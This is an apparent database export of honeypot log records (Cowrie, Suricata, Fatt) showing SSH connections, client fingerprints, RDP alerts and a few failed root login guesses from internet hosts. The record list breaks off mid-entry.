25707	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:10:28.309994+03	2021-09-20 14:15:11.32847+03	{"_id": "GgbmAnwBvYTbRNuEbhvw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "dca6cc868d86", "@version": "1", "duration": 4.1127769947052, "timestamp": "2021-09-20T11:10:28.309994Z", "@timestamp": "2021-09-20T11:10:28.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25708	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:29.112985+03	2021-09-20 14:15:11.34347+03	{"_id": "HQbmAnwBvYTbRNuEchtH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58532, "timestamp": "2021-09-20T11:10:29.112985", "@timestamp": "2021-09-20T11:10:29.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25709	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:29.046194+03	2021-09-20 14:15:11.357472+03	{"_id": "JQbmAnwBvYTbRNuEchva", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d916ff6408b3", "@version": "1", "duration": 2.533116102218628, "timestamp": "2021-09-20T11:10:29.046194Z", "@timestamp": "2021-09-20T11:10:29.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25710	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:29.112206+03	2021-09-20 14:15:11.373471+03	{"_id": "JgbmAnwBvYTbRNuEchva", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ebf878bf560e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:29.112206Z", "@timestamp": "2021-09-20T11:10:29.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25716	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:10:17.852666+03	2021-09-20 14:15:11.441469+03	{"_id": "1gbmAnwBvYTbRNuERxrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qw23er4] failed", "session": "e7e7f4b4ef29", "@version": "1", "password": "1qw23er4", "username": "root", "timestamp": "2021-09-20T11:10:17.852666Z", "@timestamp": "2021-09-20T11:10:17.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25711	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:29.386893+03	2021-09-20 14:15:11.376479+03	{"_id": "JwbmAnwBvYTbRNuEchva", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ebf878bf560e", "@version": "1", "timestamp": "2021-09-20T11:10:29.386893Z", "@timestamp": "2021-09-20T11:10:29.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25712	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:29.386018+03	2021-09-20 14:15:11.391482+03	{"_id": "KAbmAnwBvYTbRNuEdRsb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 337865416685759, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58532, "dest_port": 22, "timestamp": "2021-09-20T11:10:29.386018Z", "@timestamp": "2021-09-20T11:10:29.386Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25713	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:10:15.000909+03	2021-09-20 14:15:11.40747+03	{"_id": "zgbmAnwBvYTbRNuEPhpk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:09:14.045746+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 411335122399922, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 55744, "timestamp": "2021-09-20T11:10:15.000909Z", "@timestamp": "2021-09-20T11:10:15.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
25714	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:15.370704+03	2021-09-20 14:15:11.42248+03	{"_id": "0AbmAnwBvYTbRNuEPxp2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57052, "timestamp": "2021-09-20T11:10:15.370704", "@timestamp": "2021-09-20T11:10:15.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25715	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:10:16.549122+03	2021-09-20 14:15:11.43847+03	{"_id": "1AbmAnwBvYTbRNuEQxrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qw23e] failed", "session": "e7e7f4b4ef29", "@version": "1", "password": "1qw23e", "username": "root", "timestamp": "2021-09-20T11:10:16.549122Z", "@timestamp": "2021-09-20T11:10:16.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25717	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:10:19.149083+03	2021-09-20 14:15:11.45747+03	{"_id": "1wbmAnwBvYTbRNuESxrB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "e7e7f4b4ef29", "@version": "1", "duration": 5.762369871139526, "timestamp": "2021-09-20T11:10:19.149083Z", "@timestamp": "2021-09-20T11:10:19.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25718	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:10:24.194573+03	2021-09-20 14:15:11.47247+03	{"_id": "4wbmAnwBvYTbRNuEXxpM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:60576 (192.168.176.2:22) [session: dca6cc868d86]", "session": "dca6cc868d86", "@version": "1", "protocol": "ssh", "src_port": 60576, "dest_port": 22, "timestamp": "2021-09-20T11:10:24.194573Z", "@timestamp": "2021-09-20T11:10:24.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25719	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:23.687922+03	2021-09-20 14:15:11.50947+03	{"_id": "7gbmAnwBvYTbRNuEXxpM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 42 seconds", "session": "42c3e721ce53", "@version": "1", "duration": 42.501537799835205, "timestamp": "2021-09-20T11:10:23.687922Z", "@timestamp": "2021-09-20T11:10:23.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25720	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:10:24.19746+03	2021-09-20 14:15:11.524469+03	{"_id": "7wbmAnwBvYTbRNuEXxpM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "dca6cc868d86", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:10:24.197460Z", "@timestamp": "2021-09-20T11:10:24.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25721	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:10:24.446858+03	2021-09-20 14:15:11.52847+03	{"_id": "8AbmAnwBvYTbRNuEXxpM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "dca6cc868d86", "@version": "1", "timestamp": "2021-09-20T11:10:24.446858Z", "@timestamp": "2021-09-20T11:10:24.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25722	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:10:24.439867+03	2021-09-20 14:15:11.54347+03	{"_id": "8QbmAnwBvYTbRNuEYRqR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:24.033221+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 586443091116485, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 51093, "timestamp": "2021-09-20T11:10:24.439867Z", "@timestamp": "2021-09-20T11:10:24.439Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
25723	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:10:24.446525+03	2021-09-20 14:15:11.55947+03	{"_id": "9AbmAnwBvYTbRNuEYRqR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 1871460798784518, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60576, "dest_port": 22, "timestamp": "2021-09-20T11:10:24.446525Z", "@timestamp": "2021-09-20T11:10:24.446Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25724	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:10:15.369518+03	2021-09-20 14:15:11.57547+03	{"_id": "xwbmAnwBvYTbRNuEPBoi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:57052 (192.168.176.2:22) [session: f18dc18fcba8]", "session": "f18dc18fcba8", "@version": "1", "protocol": "ssh", "src_port": 57052, "dest_port": 22, "timestamp": "2021-09-20T11:10:15.369518Z", "@timestamp": "2021-09-20T11:10:15.369Z", 